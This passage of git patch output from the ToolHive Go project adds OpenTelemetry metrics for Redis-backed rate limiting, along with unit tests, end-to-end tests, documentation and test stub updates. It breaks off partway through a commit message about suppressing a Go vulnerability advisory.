-37,8 +37,10 @@ type BackendRegistry interface { Get(ctx context.Context, backendID string) *Backend // List returns all registered backends. - // The returned slice is a snapshot and safe to iterate without additional locking. - // Order is not guaranteed unless specified by the implementation. + // The returned slice is a fresh, non-nil snapshot the caller owns: safe to + // iterate without additional locking and safe to mutate (implementations must + // not return an internal or shared backing array). Order is not guaranteed + // unless specified by the implementation. // // Example: // backends := registry.List(ctx) diff --git a/pkg/vmcp/server/serve_session_test.go b/pkg/vmcp/server/serve_session_test.go index c66b7aab9a..d19c68cf89 100644 --- a/pkg/vmcp/server/serve_session_test.go +++ b/pkg/vmcp/server/serve_session_test.go @@ -188,6 +188,14 @@ func (*fakeCore) LookupPrompt(context.Context, *auth.Identity, string) (*vmcp.Pr return nil, vmcp.ErrNotFound } +func (*fakeCore) ListBackends(context.Context, *auth.Identity, bool) ([]vmcp.Backend, error) { + return nil, nil +} + +func (*fakeCore) LookupBackend(context.Context, *auth.Identity, string) (*vmcp.Backend, error) { + return nil, vmcp.ErrNotFound +} + func (*fakeCore) Close() error { return nil } func (*fakeCore) BackendHealth() health.Reporter { return nil } diff --git a/pkg/vmcp/server/serve_test.go b/pkg/vmcp/server/serve_test.go index c364e93c0d..699601b123 100644 --- a/pkg/vmcp/server/serve_test.go +++ b/pkg/vmcp/server/serve_test.go @@ -63,6 +63,12 @@ func (*stubVMCP) LookupResource(context.Context, *auth.Identity, string) (*vmcp. func (*stubVMCP) LookupPrompt(context.Context, *auth.Identity, string) (*vmcp.Prompt, error) { return nil, nil } +func (*stubVMCP) ListBackends(context.Context, *auth.Identity, bool) ([]vmcp.Backend, error) { + return nil, nil +} +func (*stubVMCP) LookupBackend(context.Context, *auth.Identity, string) (*vmcp.Backend, error) { + return nil, nil +} func (s *stubVMCP) Close() error { s.closed = true; return nil } func (*stubVMCP) BackendHealth() health.Reporter { return nil } From 3cbfbaec419861288a426775b29de596511a8b19 Mon Sep 17 00:00:00 2001 From: Sanskar Gurdasani <92817635+Sanskarzz@users.noreply.github.com> Date: Sat, 11 Jul 2026 02:04:20 +0530 Subject: [PATCH 35/66] Rate limiting observability (metrics and tracing) PR A (#5701) Add rate limit observability metrics Signed-off-by: Sanskarzz --- docs/observability.md | 42 +++ go.mod | 4 +- pkg/ratelimit/limiter.go | 84 ++++- pkg/ratelimit/observability.go | 175 +++++++++ pkg/ratelimit/observability_test.go | 349 ++++++++++++++++++ .../virtualmcp_rate_limiting_test.go | 119 ++++++ 6 files changed, 756 insertions(+), 17 deletions(-) create mode 100644 pkg/ratelimit/observability.go create mode 100644 pkg/ratelimit/observability_test.go diff --git a/docs/observability.md b/docs/observability.md index 79dcc0dc69..5dc1543cbc 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -252,6 +252,48 @@ Number of currently active MCP connections. | `transport` | string | Backend transport type | | `connection_type` | string | `"sse"` (only present for SSE connections) | +### Rate Limit Metrics + +These metrics are emitted for Redis-backed rate limit checks used by MCPServer +and VirtualMCPServer. Prometheus appends `_total` to counter names. The latency +histogram is exported with the `_seconds` unit suffix and the standard +`_bucket`, `_sum`, and `_count` series suffixes. + +#### `toolhive_rate_limit_decisions` (Counter) + +Total number of rate limit bucket decisions. An allowed request increments once +for every applicable bucket. A rejected request increments only for the first +bucket rejected by the atomic Redis check. Requests with no applicable bucket +do not increment this counter. + +| Attribute | Type | Description | +|-----------|------|-------------| +| `namespace` | string | Kubernetes namespace associated with the server | +| `server` | string | MCPServer or VirtualMCPServer name | +| `decision` | string | `"allowed"` or `"rejected"` | +| `scope` | string | `"shared"` or `"per_user"` | +| `operation_type` | string | `"server"` or `"tool"` | + +#### `toolhive_rate_limit_redis_errors` (Counter) + +Total number of Redis errors encountered while checking rate limits. + +| Attribute | Type | Description | +|-----------|------|-------------| +| `namespace` | string | Kubernetes namespace associated with the server | +| `server` | string | MCPServer or VirtualMCPServer name | +| `error_type` | string | `"timeout"`, `"connection"`, `"auth"`, or `"other"` | + +#### `toolhive_rate_limit_check_latency` (Histogram, seconds) + +Duration of each attempted atomic Redis Lua rate limit check, including failed +checks. + +| Attribute | Type | Description | +|-----------|------|-------------| +| `namespace` | string | Kubernetes namespace associated with the server | +| `server` | string | MCPServer or VirtualMCPServer name | + ## Span Attributes ### HTTP Attributes diff --git a/go.mod b/go.mod index 653e6b3c53..1f434b1fd1 100644 --- a/go.mod +++ b/go.mod @@ -44,6 +44,8 @@ require ( github.com/pkg/browser v0.0.0-20240102092130-5ac0b6a4141c github.com/pressly/goose/v3 v3.27.1 github.com/prometheus/client_golang v1.23.2 + github.com/prometheus/client_model v0.6.2 + github.com/prometheus/common v0.67.5 github.com/redis/go-redis/v9 v9.21.0 github.com/shirou/gopsutil/v4 v4.26.5 github.com/spf13/viper v1.21.0 @@ -233,8 +235,6 @@ require ( github.com/ory/x v0.0.665 // indirect github.com/pjbgf/sha1cd v0.6.0 // indirect github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect - github.com/prometheus/client_model v0.6.2 // indirect - github.com/prometheus/common v0.67.5 // indirect github.com/prometheus/otlptranslator v1.0.0 // indirect github.com/prometheus/procfs v0.20.1 // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect diff --git a/pkg/ratelimit/limiter.go b/pkg/ratelimit/limiter.go index ad47764dbd..14fca1ce87 100644 --- a/pkg/ratelimit/limiter.go +++ b/pkg/ratelimit/limiter.go @@ -13,6 +13,8 @@ import ( "time" "github.com/redis/go-redis/v9" + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/metric" v1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" "github.com/stacklok/toolhive/pkg/auth" @@ -65,11 +67,29 @@ func Allow(ctx context.Context, limiter Limiter, identity *auth.Identity, toolNa // Returns a no-op limiter (always allows) when crd is nil. // namespace and name identify the MCP server for Redis key derivation. func NewLimiter(client redis.Cmdable, namespace, name string, crd *v1beta1.RateLimitConfig) (Limiter, error) { + return newLimiter(client, namespace, name, crd, otel.GetMeterProvider()) +} + +func newLimiter( + client redis.Cmdable, + namespace string, + name string, + crd *v1beta1.RateLimitConfig, + meterProvider metric.MeterProvider, +) (Limiter, error) { if crd == nil { return noopLimiter{}, nil } - l := &limiter{client: client} + telemetry, err := newRateLimitTelemetry(meterProvider, namespace, name) + if err != nil { + return nil, fmt.Errorf("rate limit telemetry: %w", err) + } + + l := &limiter{ + client: client, + telemetry: telemetry, + } if crd.Shared != nil { b, err := newBucket(namespace, name, "shared", crd.Shared) @@ -122,9 +142,17 @@ type bucketSpec struct { refillPeriod time.Duration } +// limitCheck keeps a bucket paired with its metric dimensions. +type limitCheck struct { + bucket *bucket.TokenBucket + scope string + operationType string +} + // limiter is the concrete implementation of Limiter. type limiter struct { client redis.Cmdable + telemetry *rateLimitTelemetry serverBucket *bucket.TokenBucket // nil when no shared server limit toolBuckets map[string]*bucket.TokenBucket // tool name -> shared bucket perUserSpec *bucketSpec // nil when no server-level per-user limit @@ -136,13 +164,21 @@ type limiter struct { // a rejected per-tool or per-user call from draining other budgets. func (l *limiter) Allow(ctx context.Context, toolName, userID string) (*Decision, error) { // Collect applicable buckets in priority order. - var buckets []*bucket.TokenBucket + var checks []limitCheck if l.serverBucket != nil { - buckets = append(buckets, l.serverBucket) + checks = append(checks, limitCheck{ + bucket: l.serverBucket, + scope: rateLimitScopeShared, + operationType: rateLimitOperationServer, + }) } if toolName != "" && l.toolBuckets != nil { if tb, ok := l.toolBuckets[toolName]; ok { - buckets = append(buckets, tb) + checks = append(checks, limitCheck{ + bucket: tb, + scope: rateLimitScopeShared, + operationType: rateLimitOperationTool, + }) } } @@ -157,40 +193,58 @@ func (l *limiter) Allow(ctx context.Context, toolName, userID string) (*Decision if userID != "" { if l.perUserSpec != nil { s := l.perUserSpec - buckets = append(buckets, bucket.New( - s.namespace, s.serverName, - "user:"+userID, - s.maxTokens, s.refillPeriod, - )) + checks = append(checks, limitCheck{ + bucket: bucket.New( + s.namespace, s.serverName, + "user:"+userID, + s.maxTokens, s.refillPeriod, + ), + scope: rateLimitScopePerUser, + operationType: rateLimitOperationServer, + }) } if toolName != "" && l.perUserTools != nil { if s, ok := l.perUserTools[toolName]; ok { // Key prefix "user-tool:" is distinct from "user:" to prevent // collisions when a userID contains delimiter characters. - buckets = append(buckets, bucket.New( - s.namespace, s.serverName, - "user-tool:"+toolName+":"+userID, - s.maxTokens, s.refillPeriod, - )) + checks = append(checks, limitCheck{ + bucket: bucket.New( + s.namespace, s.serverName, + "user-tool:"+toolName+":"+userID, + s.maxTokens, s.refillPeriod, + ), + scope: rateLimitScopePerUser, + operationType: rateLimitOperationTool, + }) } } } - if len(buckets) == 0 { + if len(checks) == 0 { return &Decision{Allowed: true}, nil } + buckets := make([]*bucket.TokenBucket, len(checks)) + for i, check := range checks { + buckets[i] = check.bucket + } + + start := time.Now() rejectedIdx, err := bucket.ConsumeAll(ctx, l.client, buckets) + l.telemetry.recordCheckLatency(ctx, time.Since(start)) if err != nil { + l.telemetry.recordRedisError(ctx, err) return nil, fmt.Errorf("rate limit check: %w", err) } if rejectedIdx >= 0 { + l.telemetry.recordRejected(ctx, checks[rejectedIdx]) return &Decision{ Allowed: false, RetryAfter: buckets[rejectedIdx].RetryAfter(), }, nil } + l.telemetry.recordAllowed(ctx, checks) return &Decision{Allowed: true}, nil } diff --git a/pkg/ratelimit/observability.go b/pkg/ratelimit/observability.go new file mode 100644 index 0000000000..447ed64215 --- /dev/null +++ b/pkg/ratelimit/observability.go @@ -0,0 +1,175 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package ratelimit + +import ( + "context" + "errors" + "fmt" + "io" + "net" + "strings" + "time" + + "github.com/redis/go-redis/v9" + "go.opentelemetry.io/otel/attribute" + "go.opentelemetry.io/otel/metric" + + "github.com/stacklok/toolhive/pkg/telemetry" +) + +const ( + rateLimitInstrumentationName = "github.com/stacklok/toolhive/pkg/ratelimit" + + rateLimitDecisionAllowed = "allowed" + rateLimitDecisionRejected = "rejected" + + rateLimitScopeShared = "shared" + rateLimitScopePerUser = "per_user" + + rateLimitOperationServer = "server" + rateLimitOperationTool = "tool" + + redisErrorTypeTimeout = "timeout" + redisErrorTypeConnection = "connection" + redisErrorTypeAuth = "auth" + redisErrorTypeOther = "other" +) + +type rateLimitTelemetry struct { + namespace string + serverName string + + decisions metric.Int64Counter + redisErrors metric.Int64Counter + checkLatency metric.Float64Histogram +} + +func newRateLimitTelemetry( + meterProvider metric.MeterProvider, + namespace string, + serverName string, +) (*rateLimitTelemetry, error) { + if meterProvider == nil { + return nil, nil + } + + meter := meterProvider.Meter(rateLimitInstrumentationName) + + decisions, err := meter.Int64Counter( + "toolhive_rate_limit_decisions", + metric.WithDescription("Total number of rate limit bucket decisions"), + ) + if err != nil { + return nil, fmt.Errorf("create decision counter: %w", err) + } + + redisErrors, err := meter.Int64Counter( + "toolhive_rate_limit_redis_errors", + metric.WithDescription("Total number of Redis errors during rate limit checks"), + ) + if err != nil { + return nil, fmt.Errorf("create Redis error counter: %w", err) + } + + checkLatency, err := meter.Float64Histogram( + "toolhive_rate_limit_check_latency", + metric.WithDescription("Duration of Redis Lua rate limit checks in seconds"), + metric.WithUnit("s"), + metric.WithExplicitBucketBoundaries(telemetry.MCPHistogramBuckets...), + ) + if err != nil { + return nil, fmt.Errorf("create check latency histogram: %w", err) + } + + return &rateLimitTelemetry{ + namespace: namespace, + serverName: serverName, + decisions: decisions, + redisErrors: redisErrors, + checkLatency: checkLatency, + }, nil +} + +func (t *rateLimitTelemetry) recordAllowed(ctx context.Context, checks []limitCheck) { + if t == nil { + return + } + for _, check := range checks { + t.recordDecision(ctx, rateLimitDecisionAllowed, check) + } +} + +func (t *rateLimitTelemetry) recordRejected(ctx context.Context, check limitCheck) { + if t == nil { + return + } + t.recordDecision(ctx, rateLimitDecisionRejected, check) +} + +func (t *rateLimitTelemetry) recordDecision(ctx context.Context, decision string, check limitCheck) { + t.decisions.Add(ctx, 1, metric.WithAttributes( + attribute.String("namespace", t.namespace), + attribute.String("server", t.serverName), + attribute.String("decision", decision), + attribute.String("scope", check.scope), + attribute.String("operation_type", check.operationType), + )) +} + +func (t *rateLimitTelemetry) recordRedisError(ctx context.Context, err error) { + if t == nil { + return + } + t.redisErrors.Add(ctx, 1, metric.WithAttributes( + attribute.String("namespace", t.namespace), + attribute.String("server", t.serverName), + attribute.String("error_type", classifyRedisError(err)), + )) +} + +func (t *rateLimitTelemetry) recordCheckLatency(ctx context.Context, duration time.Duration) { + if t == nil { + return + } + t.checkLatency.Record(ctx, duration.Seconds(), metric.WithAttributes( + attribute.String("namespace", t.namespace), + attribute.String("server", t.serverName), + )) +} + +func classifyRedisError(err error) string { + if redis.IsAuthError(err) { + return redisErrorTypeAuth + } + + if errors.Is(err, context.DeadlineExceeded) || errors.Is(err, redis.ErrPoolTimeout) { + return redisErrorTypeTimeout + } + var netErr net.Error + if errors.As(err, &netErr) && netErr.Timeout() { + return redisErrorTypeTimeout + } + + if errors.Is(err, redis.ErrClosed) || + errors.Is(err, net.ErrClosed) || + errors.Is(err, io.EOF) || + errors.Is(err, io.ErrUnexpectedEOF) { + return redisErrorTypeConnection + } + var opErr *net.OpError + if errors.As(err, &opErr) { + return redisErrorTypeConnection + } + + message := strings.ToLower(err.Error()) + if strings.Contains(message, "connection refused") || + strings.Contains(message, "connection reset") || + strings.Contains(message, "broken pipe") || + strings.Contains(message, "no such host") { + return redisErrorTypeConnection + } + + return redisErrorTypeOther +} diff --git a/pkg/ratelimit/observability_test.go b/pkg/ratelimit/observability_test.go new file mode 100644 index 0000000000..8eb2ba58c8 --- /dev/null +++ b/pkg/ratelimit/observability_test.go @@ -0,0 +1,349 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package ratelimit + +import ( + "context" + "errors" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.opentelemetry.io/otel/attribute" + sdkmetric "go.opentelemetry.io/otel/sdk/metric" + "go.opentelemetry.io/otel/sdk/metric/metricdata" + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + + v1beta1 "github.com/stacklok/toolhive/cmd/thv-operator/api/v1beta1" +) + +func TestRateLimitMetrics_SharedDecisionsAndLatency(t *testing.T) { + t.Parallel() + client, _ := newTestClient(t) + reader, meterProvider := newRateLimitMeterProvider() + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 10, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + Tools: []v1beta1.ToolRateLimitConfig{ + { + Name: "search", + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + }, + }, meterProvider) + require.NoError(t, err) + + first, err := limiter.Allow(t.Context(), "search", "") + require.NoError(t, err) + require.True(t, first.Allowed) + + second, err := limiter.Allow(t.Context(), "search", "") + require.NoError(t, err) + require.False(t, second.Allowed) + + metrics := collectRateLimitMetrics(t, reader) + decisions := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_decisions") + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionAllowed, + "scope": rateLimitScopeShared, + "operation_type": rateLimitOperationServer, + })) + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionAllowed, + "scope": rateLimitScopeShared, + "operation_type": rateLimitOperationTool, + })) + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionRejected, + "scope": rateLimitScopeShared, + "operation_type": rateLimitOperationTool, + })) + + latency := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_check_latency") + assert.Equal(t, uint64(2), histogramCountWithAttributes(t, latency, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + })) +} + +func TestRateLimitMetrics_PerUserDecisions(t *testing.T) { + t.Parallel() + client, _ := newTestClient(t) + reader, meterProvider := newRateLimitMeterProvider() + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + PerUser: &v1beta1.RateLimitBucket{ + MaxTokens: 10, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + Tools: []v1beta1.ToolRateLimitConfig{ + { + Name: "search", + PerUser: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + }, + }, meterProvider) + require.NoError(t, err) + + first, err := limiter.Allow(t.Context(), "search", "alice") + require.NoError(t, err) + require.True(t, first.Allowed) + + second, err := limiter.Allow(t.Context(), "search", "alice") + require.NoError(t, err) + require.False(t, second.Allowed) + + metrics := collectRateLimitMetrics(t, reader) + decisions := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_decisions") + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionAllowed, + "scope": rateLimitScopePerUser, + "operation_type": rateLimitOperationServer, + })) + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionAllowed, + "scope": rateLimitScopePerUser, + "operation_type": rateLimitOperationTool, + })) + assert.Equal(t, int64(1), counterValueWithAttributes(t, decisions, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "decision": rateLimitDecisionRejected, + "scope": rateLimitScopePerUser, + "operation_type": rateLimitOperationTool, + })) +} + +func TestRateLimitMetrics_RedisErrorAndFailedLatency(t *testing.T) { + t.Parallel() + client, redisServer := newTestClient(t) + reader, meterProvider := newRateLimitMeterProvider() + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, meterProvider) + require.NoError(t, err) + + redisServer.Close() + _, err = limiter.Allow(t.Context(), "", "") + require.Error(t, err) + + metrics := collectRateLimitMetrics(t, reader) + redisErrors := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_redis_errors") + assert.Equal(t, int64(1), counterValueWithAttributes(t, redisErrors, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + "error_type": redisErrorTypeConnection, + })) + + latency := requireRateLimitMetric(t, metrics, "toolhive_rate_limit_check_latency") + assert.Equal(t, uint64(1), histogramCountWithAttributes(t, latency, map[string]string{ + "namespace": "test-ns", + "server": "test-server", + })) + assert.Nil(t, findRateLimitMetric(metrics, "toolhive_rate_limit_decisions")) +} + +func TestRateLimitMetrics_NoApplicableBucketRecordsNothing(t *testing.T) { + t.Parallel() + client, _ := newTestClient(t) + reader, meterProvider := newRateLimitMeterProvider() + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + Tools: []v1beta1.ToolRateLimitConfig{ + { + Name: "search", + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, + }, + }, meterProvider) + require.NoError(t, err) + + decision, err := limiter.Allow(t.Context(), "other-tool", "") + require.NoError(t, err) + require.True(t, decision.Allowed) + + metrics := collectRateLimitMetrics(t, reader) + assert.Empty(t, metrics.ScopeMetrics) +} + +func TestRateLimitMetrics_NilMeterProviderIsNoOp(t *testing.T) { + t.Parallel() + client, _ := newTestClient(t) + + limiter, err := newLimiter(client, "test-ns", "test-server", &v1beta1.RateLimitConfig{ + Shared: &v1beta1.RateLimitBucket{ + MaxTokens: 1, + RefillPeriod: metav1.Duration{Duration: time.Minute}, + }, + }, nil) + require.NoError(t, err) + + decision, err := limiter.Allow(t.Context(), "", "") + require.NoError(t, err) + assert.True(t, decision.Allowed) +} + +func TestClassifyRedisError(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + err error + want string + }{ + { + name: "deadline exceeded", + err: context.DeadlineExceeded, + want: redisErrorTypeTimeout, + }, + { + name: "authentication", + err: errors.New("NOAUTH Authentication required"), + want: redisErrorTypeAuth, + }, + { + name: "connection refused", + err: errors.New("dial tcp 127.0.0.1:6379: connection refused"), + want: redisErrorTypeConnection, + }, + { + name: "other", + err: errors.New("ERR script failed"), + want: redisErrorTypeOther, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + assert.Equal(t, tt.want, classifyRedisError(tt.err)) + }) + } +} + +func TestRateLimitMetricNamesUseToolHivePrefix(t *testing.T) { + t.Parallel() + reader, meterProvider := newRateLimitMeterProvider() + + telemetry, err := newRateLimitTelemetry(meterProvider, "test-ns", "test-server") + require.NoError(t, err) + telemetry.recordRejected(t.Context(), limitCheck{ + scope: rateLimitScopeShared, + operationType: rateLimitOperationServer, + }) + telemetry.recordRedisError(t.Context(), errors.New("ERR script failed")) + telemetry.recordCheckLatency(t.Context(), time.Millisecond) + + metrics := collectRateLimitMetrics(t, reader) + require.NotEmpty(t, metrics.ScopeMetrics) + for _, scopeMetrics := range metrics.ScopeMetrics { + for _, measured := range scopeMetrics.Metrics { + assert.True(t, strings.HasPrefix(measured.Name, "toolhive_"), measured.Name) + } + } +} + +func newRateLimitMeterProvider() (*sdkmetric.ManualReader, *sdkmetric.MeterProvider) { + reader := sdkmetric.NewManualReader() + return reader, sdkmetric.NewMeterProvider(sdkmetric.WithReader(reader)) +} + +func collectRateLimitMetrics(t *testing.T, reader *sdkmetric.ManualReader) metricdata.ResourceMetrics { + t.Helper() + var metrics metricdata.ResourceMetrics + require.NoError(t, reader.Collect(context.Background(), &metrics)) + return metrics +} + +func findRateLimitMetric(metrics metricdata.ResourceMetrics, name string) *metricdata.Metrics { + for _, scopeMetrics := range metrics.ScopeMetrics { + for i := range scopeMetrics.Metrics { + if scopeMetrics.Metrics[i].Name == name { + return &scopeMetrics.Metrics[i] + } + } + } + return nil +} + +func requireRateLimitMetric( + t *testing.T, + metrics metricdata.ResourceMetrics, + name string, +) *metricdata.Metrics { + t.Helper() + measured := findRateLimitMetric(metrics, name) + require.NotNil(t, measured, "metric %q not found", name) + return measured +} + +func counterValueWithAttributes( + t *testing.T, + measured *metricdata.Metrics, + want map[string]string, +) int64 { + t.Helper() + sum, ok := measured.Data.(metricdata.Sum[int64]) + require.True(t, ok, "metric %q is not an int64 sum", measured.Name) + for _, point := range sum.DataPoints { + if attributesMatch(point.Attributes, want) { + return point.Value + } + } + return 0 +} + +func histogramCountWithAttributes( + t *testing.T, + measured *metricdata.Metrics, + want map[string]string, +) uint64 { + t.Helper() + histogram, ok := measured.Data.(metricdata.Histogram[float64]) + require.True(t, ok, "metric %q is not a float64 histogram", measured.Name) + for _, point := range histogram.DataPoints { + if attributesMatch(point.Attributes, want) { + return point.Count + } + } + return 0 +} + +func attributesMatch(attributes attribute.Set, want map[string]string) bool { + for key, wantValue := range want { + value, ok := attributes.Value(attribute.Key(key)) + if !ok || value.AsString() != wantValue { + return false + } + } + return true +} diff --git a/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go b/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go index 981d3fae5f..75a8f1f2ed 100644 --- a/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go +++ b/test/e2e/thv-operator/virtualmcp/virtualmcp_rate_limiting_test.go @@ -17,6 +17,9 @@ import ( "github.com/mark3labs/mcp-go/mcp" "github.com/onsi/ginkgo/v2" "github.com/onsi/gomega" + dto "github.com/prometheus/client_model/go" + "github.com/prometheus/common/expfmt" + "github.com/prometheus/common/model" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/types" @@ -40,6 +43,7 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() vmcpName string redisName string oidcName string + telemetryName string vmcpLocalPort int oidcLocalPort int vmcpPortForwardCleanup func() @@ -54,6 +58,7 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() vmcpName = fmt.Sprintf("e2e-rl-vmcp-%d", ts) redisName = fmt.Sprintf("e2e-rl-redis-%d", ts) oidcName = fmt.Sprintf("e2e-rl-oidc-%d", ts) + telemetryName = fmt.Sprintf("e2e-rl-telemetry-%d", ts) ginkgo.By("Deploying Redis") deployRedis(redisName) @@ -112,10 +117,30 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() return nil }, timeout, pollInterval).Should(gomega.Succeed()) + ginkgo.By("Creating Prometheus telemetry configuration") + gomega.Expect(k8sClient.Create(ctx, &mcpv1beta1.MCPTelemetryConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: telemetryName, + Namespace: defaultNamespace, + }, + Spec: mcpv1beta1.MCPTelemetryConfigSpec{ + Prometheus: &mcpv1beta1.PrometheusConfig{Enabled: true}, + }, + })).To(gomega.Succeed()) + gomega.Eventually(func() bool { + telemetryConfig := &mcpv1beta1.MCPTelemetryConfig{} + err := k8sClient.Get(ctx, types.NamespacedName{ + Name: telemetryName, + Namespace: defaultNamespace, + }, telemetryConfig) + return err == nil && telemetryConfig.Status.ConfigHash != "" + }, timeout, pollInterval).Should(gomega.BeTrue()) + redisAddr := fmt.Sprintf("%s.%s.svc.cluster.local:6379", redisName, defaultNamespace) ginkgo.By("Creating VirtualMCPServer with per-user rate limiting") gomega.Expect(k8sClient.Create(ctx, v1beta1test.NewVirtualMCPServer(vmcpName, defaultNamespace, v1beta1test.WithVMCPGroupRef(mcpGroupName), + v1beta1test.WithVMCPTelemetryConfigRef(telemetryName), v1beta1test.WithVMCPConfig(vmcpconfig.Config{ Group: mcpGroupName, RateLimiting: &mcpv1beta1.RateLimitConfig{ @@ -166,6 +191,9 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() _ = k8sClient.Delete(ctx, &mcpv1beta1.MCPOIDCConfig{ ObjectMeta: metav1.ObjectMeta{Name: oidcName, Namespace: defaultNamespace}, }) + _ = k8sClient.Delete(ctx, &mcpv1beta1.MCPTelemetryConfig{ + ObjectMeta: metav1.ObjectMeta{Name: telemetryName, Namespace: defaultNamespace}, + }) cleanupRedis(redisName) }) @@ -198,9 +226,100 @@ var _ = ginkgo.Describe("VirtualMCPServer Rate Limiting", ginkgo.Ordered, func() data, ok := structured["data"].(map[string]any) gomega.Expect(ok).To(gomega.BeTrue()) gomega.Expect(data["retryAfterSeconds"]).To(gomega.BeNumerically(">", 0)) + + ginkgo.By("Scraping non-zero rate limit metrics") + gomega.Eventually(func() error { + metricFamilies, scrapeErr := scrapeRateLimitMetrics(vmcpLocalPort) + if scrapeErr != nil { + return scrapeErr + } + if !rateLimitCounterIsNonZero(metricFamilies, "toolhive_rate_limit_decisions", map[string]string{ + "decision": "allowed", + "scope": "per_user", + "operation_type": "server", + }) { + return fmt.Errorf("allowed rate limit decision counter is zero") + } + if !rateLimitCounterIsNonZero(metricFamilies, "toolhive_rate_limit_decisions", map[string]string{ + "decision": "rejected", + "scope": "per_user", + "operation_type": "server", + }) { + return fmt.Errorf("rejected rate limit decision counter is zero") + } + if !rateLimitHistogramIsNonZero(metricFamilies, "toolhive_rate_limit_check_latency") { + return fmt.Errorf("rate limit check latency histogram is empty") + } + return nil + }, 30*time.Second, time.Second).Should(gomega.Succeed()) }) }) +func scrapeRateLimitMetrics(port int) (map[string]*dto.MetricFamily, error) { + url := fmt.Sprintf("http://localhost:%d/metrics", port) + resp, err := http.Get(url) //nolint:noctx + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("metrics endpoint returned HTTP %d", resp.StatusCode) + } + + parser := expfmt.NewTextParser(model.UTF8Validation) + return parser.TextToMetricFamilies(resp.Body) +} + +func rateLimitCounterIsNonZero( + families map[string]*dto.MetricFamily, + namePrefix string, + wantLabels map[string]string, +) bool { + for name, family := range families { + if !strings.HasPrefix(name, namePrefix) { + continue + } + for _, metric := range family.Metric { + if prometheusLabelsMatch(metric, wantLabels) && + metric.Counter != nil && + metric.Counter.GetValue() > 0 { + return true + } + } + } + return false +} + +func rateLimitHistogramIsNonZero( + families map[string]*dto.MetricFamily, + namePrefix string, +) bool { + for name, family := range families { + if !strings.HasPrefix(name, namePrefix) { + continue + } + for _, metric := range family.Metric { + if metric.Histogram != nil && metric.Histogram.GetSampleCount() > 0 { + return true + } + } + } + return false +} + +func prometheusLabelsMatch(metric *dto.Metric, want map[string]string) bool { + labels := make(map[string]string, len(metric.Label)) + for _, pair := range metric.Label { + labels[pair.GetName()] = pair.GetValue() + } + for name, value := range want { + if labels[name] != value { + return false + } + } + return true +} + func fetchRateLimitOIDCToken(oidcPort int, subject string) string { url := fmt.Sprintf("http://localhost:%d/token?subject=%s", oidcPort, subject) resp, err := http.Post(url, "application/x-www-form-urlencoded", nil) //nolint:noctx From 687ce42358938efbac4a8f5c66fb219f86142132 Mon Sep 17 00:00:00 2001 From: Juan Antonio Osorio Date: Mon, 13 Jul 2026 10:55:42 +0300 Subject: [PATCH 36/66] Suppress GO-2026-5932 (x/crypto/openpgp deprecated-by-design, no fix available) (#5781) Suppress GO-2026-5932 (x/crypto/openpgp deprecated-by-design) The golang.org/x/crypto/openpgp package is deprecated-by-design -- "unsafe, not maintained, should not be used" -- with no fixed version and none planned. ToolHive does not import openpgp directly; it is pulled 